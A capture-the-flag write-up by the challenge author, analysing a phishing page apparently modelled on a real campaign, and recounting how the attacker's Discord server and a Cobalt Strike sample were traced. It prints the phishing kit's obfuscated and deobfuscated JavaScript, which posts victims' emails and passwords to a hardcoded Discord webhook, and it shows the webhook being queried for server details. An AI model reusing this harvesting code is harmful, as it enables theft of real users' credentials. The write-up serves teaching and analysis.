# GCTF 2025 - Case Writeup > Writeup of the case challenge in the 2025th edition of the Guardia Capture The Flag. Published on 2025-02-23 | Updated on 2025-03-01 | Tags: phishing https://xsec.fr/en/ctf/case/ --- import Callout from '@shared/components/Callout.astro' This article is a writeup for the "CASE" challenge I created for the GCTF 2025 Capture The Flag (CTF). This CTF was co-organized at Guardia Cybersecurity School. The challenge was based on a real-world phishing campaign I encountered while analyzing data from the security solutions at the company where I worked at the time. The goal of the challenge was to simulate a realistic scenario involving a phishing link sent by an attacker. Participants were required to investigate and create a detailed report describing the attacker’s methodology and techniques.The CTF lasts for 5 hours. I expected them to have completed it in 2 hours ## Synopsis Esteemed participants, As an elite cybersecurity analyst, you are officially mandated by SOCreddine, the Chief Information Officer of GuardiaCorp, to conduct a thorough investigation into a particularly suspicious URL. This URL has been surreptitiously disseminated within GuardiaCorp's internal networks, raising serious concerns about its origin and potential harmful repercussions. Be advised that this task requires specialized expertise. Discretion is essential, as GuardiaCorp's reputation is at stake. Time is of the essence. SOCreddine expects your detailed report as soon as possible. May your insight and ingenuity guide you in this perilous undertaking. > Entrypoint: `https://case.gctf.tech#jhubert@gmail.com` Difficulty : `Easy/Medium` ![meme phish](/media/ctf/image-12.png) ## Scoring Criteria Starting from the entrypoint, find the following information: | Points | Criteria | Expected | | :----------- | :----------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | 100 | Reception Server | Exfiltration endpoint previously used by the attacker to receive the data | | 50 | Panel Identification | Full name of the panel used to deploy the template from the domain formerly used for exfiltration | | 50 | Geographical Origin | Location of the supposed city of origin of the server previously used to exfiltrate the data | | 150 | Initial TLS Certificate | Exact date and time of the first registration of the domain formerly used for exfiltration | | 150 | Domain Value | Price of the domain formerly used for exfiltration on March 30, 2022 | | 200 | New Exfiltration Endpoint | The attacker has since changed his exfiltration method. Find the new way used to exfiltrate the data. | | 200 | Exfiltration Logic | These points will be awarded if you demonstrate in detail (from the code) how the attacker exfiltrated this data in the past and present (technical explanation of the code logic) | | 200 | Shared Secret | A secret is hidden on the attackers' discussion server! | | 200 | Final Flag | Format: `GCTF{C2_server_name:exfiltration_domain}`
Example: `GCTF{Havoc:informaticien.fun}` | | 1300 | Send the report | to the email address: `report@gctf.tech` mentioning your team name (otherwise refused)! | You must write a comprehensive report in your own words. It must be: - Demonstrative: Tangible evidence for each point - Exhaustive: Complete and detailed analysis - Explanatory: Contextualization and ease of understanding You will only have one submission for your report. > **Important**: The best report will be worth 200 additional points. We accept submissions up to one hour before the end of the CTF, after this deadline your report will be refused. You can submit your report and get points, even if it is incomplete! ## Writeup ### Reception Server Identification > Points: 100 Let's dive into the source code of the https://case.gctf.tech#jhubert@gmail.com page : ```html wrap showLineNumbers=false ``` Which looks like a very long url encoded character chain, we can decode it with tool of your choice like **cyberchief** per example: ![alt text](/media/ctf/image.webp) `Url enconding` was utilized. In the obfuscated script at the very bottom of the code, there is a comment with a **POST request** to a wired endpoint. ![alt text](/media/ctf/image-1.png) `ucbank.net/love/newpost.php` ### Panel Identification > Points: 50 Go on the domain root : https://ucbank.net ![CyberPanel](/media/ctf/image-2.png) `CyberPanel` ### Geographical Origin > Points: 50 - Utilize a geoIP tool with the `ucbank.net` domain: ![iplocation](/media/ctf/image-3.png) `Istanbul` ### TLS Certificate Record > Points: 150 - With the crt.sh website you can see when TLS certificates was registered: ![alt text](/media/ctf/image-5.png) `2018-07-27 19:32:08` ### Domain Valuation > Points: 150 - Domain Price on March 30, 2022: Check historical records on Wayback Machine to ascertain the domain's value at the given time. ![domain pricing](/media/ctf/image-13.png) `280$` ### New Exfiltration Endpoint > Points: 200 In the javascript part of the code (at very bottom) we see first, what look like a commented `POST` request to the `https://ucbank.net/love/newpost.php` endpoint. ```js {"Commented POST request:":5-6} wrap showLineNumbers=false (0x4c1, 0x4b5, 0x4a1, 0x4c9)] = function () { function _0x377252(_0x2000a8, _0x307650, _0x53890e, _0x21295a) { return _0x4ff03(_0x2000a8 - 0xb9, _0x2000a8, _0x53890e - 0x5b, _0x21295a - 0x36); } // xhr.open("POST", "https://ucbank.net/love/newpost.php", true); function _0x5efac2(_0x2a9176, _0xc58150, _0x548760, _0x43abc3) { return _0x4ff03(_0x2a9176 - 0x1c, _0xc58150, _0x548760 - 0x119, _0x548760 - -0x2a9); } _0x543aea['readyState'] === XMLHttpRequest['DONE'] && (_0x464090[_0x377252(0x50c, 0x4a1, 0x522, 0x4e5)](_0x543aea[_0x377252(0x4e2, 0x4ad, 0x4b3, 0x4e2)], 0xf * 0xff + -0x19c0 + 0x3dd * 0x3) ? _0x464090[_0x377252(0x526, 0x54d, 0x547, 0x55d)](_0x377252(0x510, 0x515, 0x569, 0x548), _0x464090['ZkWJL']) ? _0x275237[_0x377252(0x500, 0x580, 0x54d, 0x53d)]('Failed\x20to\x20' + 'send\x20messa' + _0x377252(0x51d, 0x4d7, 0x4d8, 0x4f8), _0x11c9c1[_0x377252(0x580, 0x52c, 0x563, 0x546) + 'xt']) : console[_0x5efac2(0x279, 0x2ba, 0x279, 0x2a6)](_0x377252(0x52e, 0x526, 0x525, 0x51c) + 'nt\x20success' + _0x377252(0x575, 0x596, 0x552, 0x55a)) : console[_0x377252(0x572, 0x4fa, 0x541, 0x53d)](_0x464090['Jmsnh'], _0x543aea['responseTe' + 'xt'])); }, _0x543aea['send'](JSON[_0x4ff03(0x50f, 0x500, 0x4ef, 0x4d4)](_0x2af2a6)), document[_0x1f912b(-0x1b9, -0x223, -0x205, -0x1f2) + _0x4ff03(0x517, 0x524, 0x516, 0x51e)](_0x15fe69[_0x4ff03(0x4f0, 0x549, 0x4cc, 0x50c)])[_0x1f912b(-0x192, -0x1a6, -0x1a3, -0x184)] = _0x15aa9c + (-0x7d2 + 0x15b6 * 0x1 + -0x3 * 0x4a1), document[_0x1f912b(-0x1e8, -0x1ff, -0x222, -0x1f2) + _0x4ff03(0x526, 0x55b, 0x4e3, 0x51e)](_0x15fe69[_0x1f912b(-0x1d5, -0x1cd, -0x1b6, -0x1e2)])[_0x1f912b(-0x1c8, -0x1b2, -0x159, -0x184)] = ''; }); }); ``` Let's deobfuscate it briefly as well: ```js showLineNumbers=false wrap (function (_0x489ecf, _0xc917ab) { var _0x13d46c = _0x489ecf(); while (true) { try { var _0x407117 = parseInt(_0x1eac(352, 0xba)) / 1 + -parseInt(_0x1eac(314, -0xf8)) / 2 + -parseInt(_0x1eac(420, -0x70)) / 3 + parseInt(_0x1eac(317, 0x7a)) / 4 * (-parseInt(_0x1eac(322, 0xa2)) / 5) + -parseInt(_0x1eac(340, -0x9e)) / 6 * (-parseInt(_0x1eac(397, 0xe4)) / 7) + parseInt(_0x1eac(417, 0xbf)) / 8 + parseInt(_0x1eac(345, -0xa0)) / 9; if (_0x407117 === _0xc917ab) { break; } else { _0x13d46c.push(_0x13d46c.shift()); } } catch (_0x247d0c) { _0x13d46c.push(_0x13d46c.shift()); } } })(_0x1123, 169814); var _0x16e918 = function () { var _0x498639 = { FrbHv: function (_0x498b67, _0x24000c) { return _0x498b67 === _0x24000c; } }; _0x498639.KgbQA = "xveGs"; _0x498639.tBWXr = "wXsKI"; var _0x964def = true; return function (_0x25b0d0, _0x29a9db) { var _0x19d983 = { 'DuegV': function (_0x1bfa63, _0x4cdb5) { return _0x1bfa63 === _0x4cdb5; }, 'ejKtT': function (_0x1d3000, _0x80729d) { return _0x1d3000 === _0x80729d; }, 'xdKMA': _0x498639.KgbQA, 'rnjzX': _0x498639.tBWXr }; var _0x315f11 = _0x964def ? function () { if (_0x19d983.xdKMA === _0x19d983.rnjzX) { if (_0x32f7ab.readyState === _0x37b4d5.DONE) { if (_0x19dcc6.status === 200) { _0x5dafbb.log("Message sent successfully!"); } else { _0x16a208.error("Failed to send message:", _0x4d2989.responseText); } } } else { if (_0x29a9db) { var _0x29faa0 = _0x29a9db.apply(_0x25b0d0, arguments); _0x29a9db = null; return _0x29faa0; } } } : function () {}; _0x964def = false; return _0x315f11; }; }(); var _0x276bce = _0x16e918(this, function () { var _0x1ab606; try { var _0x5baa92 = Function("return (function() {}.constructor(\"return this\")( ));"); _0x1ab606 = _0x5baa92(); } catch (_0x1f2a15) { _0x1ab606 = window; } var _0x3a5087 = _0x1ab606.console = _0x1ab606.console || {}; var _0xc25c01 = ["log", "warn", "info", "error", "exception", "table", "trace"]; for (var _0x15cf1e = 0; _0x15cf1e < _0xc25c01.length; _0x15cf1e++) { var _0x4b4485 = _0x16e918.constructor.prototype.bind(_0x16e918); var _0x1e30fb = _0xc25c01[_0x15cf1e]; var _0x10a535 = _0x3a5087[_0x1e30fb] || _0x4b4485; _0x4b4485.__proto__ = _0x16e918.bind(_0x16e918); _0x4b4485.toString = _0x10a535.toString.bind(_0x10a535); _0x3a5087[_0x1e30fb] = _0x4b4485; } }); _0x276bce(); var link = window.location.href; var url = new URL(link); function _0x27b64f(_0x2de266, _0x54f5e3, _0x34ed92, _0x243e55) { return _0x1eac(_0x54f5e3 + 0x258, _0x2de266); } var hash = url.hash; var updated_email = hash.replace('#', ''); function _0x1123() { var _0x418741 = ['vLHjvwG', 'C3rYAw5NAwz5', 'uLb3Exe', '4PQHienYzwrZieXV', 'A3mVmtmXnJGWnq', 'C3vIBwL0', 'ChjVDg90ExbL', 'AJLruwSXzg9fna', 'zgLZCgXHEq', 'C3vIC3rYAw5N', 'C2v0uMvXDwvZDa', 's2PMswS', 'AwXPC2f0zxvYia', 'rxblqMi', 'zxHJzxb0Aw9U', 's2DIuue', 'D0jOwNG', 'Dg9tDhjPBMC', 'Agzetg0', 'twvZC2fNzsbZzq', 'C2vUzcbTzxnZyq', 'rMfPBgvKihrVia', 'ywjlrhq', 'CgvTy2e', 'CYDLC3qGzMfPDa', 'tNviBvm', 'wg1RExm', 'y29UC29Szq', 'yxbWBgLJyxrPBW', 'ywrKrxzLBNrmAq', 'z2DLzcdIMQe', 'zcOQoIa', 'yxvSDa', 'mtiZmJDotwnuELO', 'BMn0Aw9UkcKG', 'q2f2BhK', 'C3rLBMvY', 'C3jJ', 'rMvwB1G', 'B25YzwfKExn0yq', 'BgvUz3rO', 'uMfwEhu', 'rhvLz1y', 'EhzLr3m', 'zw1HAwW', 'y3rVCIGICMv0Dq', 'Egrltue', 'CM4GDgHPCYiPka', 'q29UDgvUDc1uEq', 'BNqGC3vJy2vZCW', 'kIPfBwfPBcOQoG', 'D2fYBG', 'zxjYB3i', 'mJiWnZG5nKHgDM9jtq', 'CM5QELG', 'zgvUDgLHBhmG8j+sGa', 'ntCZodyXqwrqvLLl', 'D09RuwG', 'Bg9JyxrPB24', 'rNjIshy', 'Aw5MBW', 'CMvZCg9UC2vuzq', '4PQG77IpifvtrviGqLjf', 'zNHIB3i', 'DMfSDwu', 'BwvuENC', 'AhjLzG', 'yxbPl3DLyMHVBW', 'reDVuJe3neO3DW', 'uLDAvNG', 'C2v0qxr0CMLIDq', 'tg9HzgvK', 'y21jsK4', 'oty2mtq2mdq4mq', 'Dejxwhi', 'qNLjza', 'BI9QC29U', 'zM9YBq', 'cIOQugfZC3DVCG', 'Bg9N', 'Ahr0Chm6lY8', 'zNvSBhKH', 'BuLKq0K', 'ifbfvefyisOQia', 'AhvswKW', 'C0r5v2e', 'DhjHy2u', 'nJuZmti0rKvrwhHh', 'ChzevLK', '4PQH8j+sGa', 'nZK4nJy4EMrYsePK', 'z2v0rwXLBwvUDa', 'Bg9HzgLUzW', 'AMr6Dwe', 'ExrPBwCUy29TlW', 'nvDrwhrcCa', 'B3vUDhmG8j+sGokAOq', 'Aw1NDxiUy29TlW', 'C3rHDhvZ', 'AwzYyw1L', 'svjJv2S', 'rgLvy2G', 'E30Uy29UC3rYDq', 'sgvHzgvY', 'B0jYAei', 'C3r5Bgu', 'qtriyK1Onff2mG', 'vLrbuMG', 'DgfIBgu', 'Awjiu1C', 'B3bLBG', 'DMKVnNPhsJjRBq', 'Ahr0Chm6lY9PlG', 'odqWCeXyA1LJ', 'tM1xoueYDLvtCW', 'AvHHtgO', 'ELflB1K', 'C2rLzMf1BhqUAG', 'mJm0otaWmhnNBhznBG', 'A3D4tg8', 'z2u6', 'B3HrBuC', 'ueftC1O', 'ue9tva', 'zwPlDfq', 'mtaZodaZB3H3tKLz', 'ChjLDMvUDerLzG', 'DgvJAgfUz2u', 're9nq29UDgvUDa', 'yMLUza', 'Aw5KzxHpzG', 'wMnWq3C', 'D1HZs0K', 'C2nVCMqUy29TlW', '4PQH8j+sGcaQkLvUihv0', 'x19WCM90B19F', 's2fHDhG']; _0x1123 = function () { return _0x418741; }; return _0x1123(); } document.getElementById("email").value = updated_email; function _0x1eac(_0x12c56b, _0x293603) { var _0x203324 = _0x1123(); _0x1eac = function (_0x4239df, _0x348dec) { _0x4239df = _0x4239df - 314; var _0x44d9ab = _0x203324[_0x4239df]; if (_0x1eac.QUflAz === undefined) { var _0x29b880 = function (_0x57f2c1) { var _0x4eb863 = ''; var _0x49fad1 = ''; var _0x32739b = 0; var _0x36edaa; var _0x1c9961; for (var _0x1f7d93 = 0; _0x1c9961 = _0x57f2c1.charAt(_0x1f7d93++); ~_0x1c9961 && (_0x36edaa = _0x32739b % 4 ? _0x36edaa * 64 + _0x1c9961 : _0x1c9961, _0x32739b++ % 4) ? _0x4eb863 += String.fromCharCode(255 & _0x36edaa >> (-2 * _0x32739b & 6)) : 0) { _0x1c9961 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x1c9961); } var _0x40ae0c = 0; for (var _0x597c0e = _0x4eb863.length; _0x40ae0c < _0x597c0e; _0x40ae0c++) { _0x49fad1 += '%' + ('00' + _0x4eb863.charCodeAt(_0x40ae0c).toString(16)).slice(-2); } return decodeURIComponent(_0x49fad1); }; _0x1eac.SPSFPy = _0x29b880; _0x12c56b = arguments; _0x1eac.QUflAz = true; } var _0x1098c8 = _0x203324[0]; var _0x54f334 = _0x4239df + _0x1098c8; var _0x53d4c4 = _0x12c56b[_0x54f334]; if (!_0x53d4c4) { _0x44d9ab = _0x1eac.SPSFPy(_0x44d9ab); _0x12c56b[_0x54f334] = _0x44d9ab; } else { _0x44d9ab = _0x53d4c4; } return _0x44d9ab; }; return _0x1eac(_0x12c56b, _0x293603); } const delimiterIndex = updated_email.indexOf('@'); const charactersAfter = updated_email.substring(delimiterIndex + 1); var iframe = document.getElementById("iframe"); var iframe_url = "https://" + charactersAfter; iframe.setAttribute("src", iframe_url); setTimeout(() => { var _0x3c52a0 = document.getElementById("loading"); _0x3c52a0.style.display = 'none'; }, 4000); function _0x18dfa5(_0x895e04, _0x23a0ac, _0x4cada8, _0x34b52a) { return _0x1eac(_0x895e04 + 0x52, _0x34b52a); } document.addEventListener("DOMContentLoaded", function () { var _0x3440d6 = { pvDVY: function (_0x1b4dad, _0x64df64) { return _0x1b4dad === _0x64df64; }, EpKBb: function (_0x36a897, _0x200699) { return _0x36a897 !== _0x200699; }, pemca: "Failed to send message:", wOkQh: 'number', VTARh: 'password' }; _0x3440d6.kwxLo = "Hacked accounts"; _0x3440d6.NuHmS = "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg"; _0x3440d6.mIdCI = "USER BREACH DETECTED"; _0x3440d6.iXaLj = "User Credentials"; _0x3440d6.RaVxu = "Creds Logged"; _0x3440d6.KjfIk = "https://i.imgur.com/UsNaXHK.gif"; _0x3440d6.jdzua = "POST"; _0x3440d6.VXIUh = "application/json"; _0x3440d6.Xmkys = "form"; _0x3440d6.ZcpCw = "submit"; var _0x3b333b = document.getElementById(_0x3440d6.Xmkys); _0x3b333b.addEventListener(_0x3440d6.ZcpCw, function (_0x338ff6) { _0x338ff6.preventDefault(); var _0x15aa9c = parseInt(document.getElementById('number').value); var _0x2af2a6 = { 'username': _0x3440d6.kwxLo, 'avatar_url': _0x3440d6.NuHmS, 'embeds': [{ 'title': _0x3440d6.mIdCI, 'description': "**Un utilisateur s'est fait PETAX!**", 'color': 0xff0000, 'fields': [{ 'name': _0x3440d6.iXaLj, 'value': "**Email**: " + document.getElementById("email").value + "\n**Password**: " + document.getElementById('password').value, 'inline': false }], 'footer': { 'text': _0x3440d6.RaVxu, 'icon_url': "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg" }, 'image': { 'url': _0x3440d6.KjfIk } }] }; var _0x543aea = new XMLHttpRequest(); _0x543aea.open(_0x3440d6.jdzua, "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true); _0x543aea.setRequestHeader("Content-Type", _0x3440d6.VXIUh); _0x543aea.onreadystatechange = function () { // xhr.open("POST", "https://ucbank.net/love/newpost.php", true); if (_0x543aea.readyState === XMLHttpRequest.DONE) { if (_0x543aea.status === 200) { console.log("Message sent successfully!"); } else { console.error("Failed to send message:", _0x543aea.responseText); } } }; _0x543aea.send(JSON.stringify(_0x2af2a6)); document.getElementById('number').value = _0x15aa9c + 1; document.getElementById('password').value = ''; }); }); ``` We see some **deadcode** (certainly to make us spend more time on it on purpose) and a **discord webhook** structure: ```js wrap "email" "password" collapse={1-12} {"Webhook variables:":13-22} {"Webhook structure:":28-51} collapse={52-67} document.addEventListener("DOMContentLoaded", function () { var _0x3440d6 = { pvDVY: function (_0x1b4dad, _0x64df64) { return _0x1b4dad === _0x64df64; }, EpKBb: function (_0x36a897, _0x200699) { return _0x36a897 !== _0x200699; }, pemca: "Failed to send message:", wOkQh: 'number', VTARh: 'password' }; _0x3440d6.kwxLo = "Hacked accounts"; _0x3440d6.NuHmS = "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg"; _0x3440d6.mIdCI = "USER BREACH DETECTED"; _0x3440d6.iXaLj = "User Credentials"; _0x3440d6.RaVxu = "Creds Logged"; _0x3440d6.KjfIk = "https://i.imgur.com/UsNaXHK.gif"; _0x3440d6.jdzua = "POST"; _0x3440d6.VXIUh = "application/json"; _0x3440d6.Xmkys = "form"; _0x3440d6.ZcpCw = "submit"; var _0x3b333b = document.getElementById(_0x3440d6.Xmkys); _0x3b333b.addEventListener(_0x3440d6.ZcpCw, function (_0x338ff6) { _0x338ff6.preventDefault(); var _0x15aa9c = parseInt(document.getElementById('number').value); var _0x2af2a6 = { 'username': _0x3440d6.kwxLo, 'avatar_url': _0x3440d6.NuHmS, 'embeds': [{ 'title': _0x3440d6.mIdCI, 'description': "**Un utilisateur s'est fait PETAX!**", 'color': 0xff0000, 'fields': [{ 'name': _0x3440d6.iXaLj, 'value': "**Email**: " + document.getElementById("email").value + "\n**Password**: " + document.getElementById('password').value, 'inline': false }], 'footer': { 'text': _0x3440d6.RaVxu, 'icon_url': "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg" }, 'image': { 'url': _0x3440d6.KjfIk } }] }; var _0x543aea = new XMLHttpRequest(); _0x543aea.open(_0x3440d6.jdzua, "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true); _0x543aea.setRequestHeader("Content-Type", _0x3440d6.VXIUh); _0x543aea.onreadystatechange = function () { // xhr.open("POST", "https://ucbank.net/love/newpost.php", true); if (_0x543aea.readyState === XMLHttpRequest.DONE) { if (_0x543aea.status === 200) { console.log("Message sent successfully!"); } else { console.error("Failed to send message:", _0x543aea.responseText); } } }; _0x543aea.send(JSON.stringify(_0x2af2a6)); document.getElementById('number').value = _0x15aa9c + 1; document.getElementById('password').value = ''; }); }); ``` We can clearly see that the 2 fields `email` and `password` of the form, are sent to a discord webhook for exfiltration. ### Exfiltration Logic > Points : 200 What the f* the code does ??? ![code meme](/media/ctf/image-11.png) This is a **phishing page** designed to trick people into entering their password. The attackers then collect the credentials using a Discord webhook. Various obfuscation techniques are used to make the code harder to analyze. #### Core Functionality 1. **Credential Harvesting**: - Automatically populates an email field from the URL hash (e.g., `example.com#victim@email.com` → email = `victim@email.com`) - Capturing the entered password upon form submission. - Sending both fields to the Discord webhook via a POST request. 2. **Obfuscation Techniques**: - Heavy use of hexadecimal variable names (`_0x1eac`, `_0x1123`) - String encryption/decryption routines - Console method overwriting to hide debug logs - Array rotation and code flow manipulation #### Data Exfiltration ```js showLineNumbers=false title="Discord Webhook Call" xhr.open("POST", "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true); ``` Sends stolen credentials, Email: `victim@example.com` and Password: `[user's entered password]` #### Deceptive UI - Loads an iframe in the ackground matching the email domain (e.g., `@gmail.com` → `https://gmail.com`) - Shows fake loading screen (4-second delay) In the code: 1. **Anti-Analysis Features** ```js showLineNumbers=false title="Overwrites console methods to prevent debugging" console.log = function(){}; console.error = function(){}; ``` 2. **Domain Parsing to iframe** ```js showLineNumbers=false const charactersAfter = updated_email.substring(delimiterIndex + 1); iframe.setAttribute("src", "https://" + charactersAfter); ``` #### Key points - Use of multiple code obfuscation layers - Hardcoded Discord webhook URL and attacker domain - Automatic email extraction from URL fragments - Dynamic iframe loading based on email domain - Console method tampering ### Shared Secret > Points: 200 First some documentation on discord webhooks: [https://discord.com/developers/docs/resources/webhook](https://discord.com/developers/docs/resources/webhook) [https://www.reddit.com/r/discordapp/comments/15nzlbg/is_there_any_way_to_find_out_what_server_a](https://www.reddit.com/r/discordapp/comments/15nzlbg/is_there_any_way_to_find_out_what_server_a) With this webhook we can post data or delete it, that is not very interesting there (or if you just want to mess up with other teams and challenge maker), there is a way to retrieve a invitation link to the discord server perhaps it needs an **active discord widget configuration** by the server owner): 1. Submit a **GET** request to the webhook URL to reveal associated **guild ID**: ```json wrap { "application_id": null, "avatar": "1d1dc4094ab1693e3c45e674685948c5", "channel_id": "1316805941609627659", "guild_id": "1316805897082765373", "id": "1316805966146048123", "name": "Proz0X_ hacked accounts", "type": 1, "token": "WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", "url": "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI" } ``` 2. Access `https://www.discord.com/api/guilds//widget.json` to get the invitation link from the widget feature. ```json wrap {4} { "id": "1316805897082765373", "name": "H3CK3Rz_", "instant_invite": "https://discord.com/invite/jZ4nUrck", "channels": [], "members": [], "presence_count": 0 } ``` 3. You are granted to join the server from the widget invitation link retreived. > In the server, an event is live with a message. ![Hackers discord event](/media/ctf/image-10.png) `GCTF{P0URkw01_m377r3_Un_fl49_1C1??}` ### Final Flag > Points: 200 In the #help channel, a user "Slap" ask for help about a strange behavior on is PC, at the end of the discussion he provide a zip file: ![alt text](/media/ctf/image-7.png) To gain time, we can scan this archive on an online dynamic analysis tool per ex. : [Tria.ge](https://tria.ge): ![alt text](/media/ctf/image-8.png) Cobalt strike is the utilized C2. ![alt text](/media/ctf/image-9.png) Attacker exfiltration domain is: `softline.top` `GCTF{cobalt_strike:softline.top}` This concludes the writeup for the "CASE" challenge at GCTF 2025. I hope you found this walkthrough insightful and helpful for tackling similar real-world scenarios in cybersecurity. PS : Sadly, participants was like that: ![alt text](/media/ctf/image-14.png) 0 solve, it happens sometimes, i guess. ### Clear Source code ```html wrap Captcha page | Secured

Connecting To Mail Server

```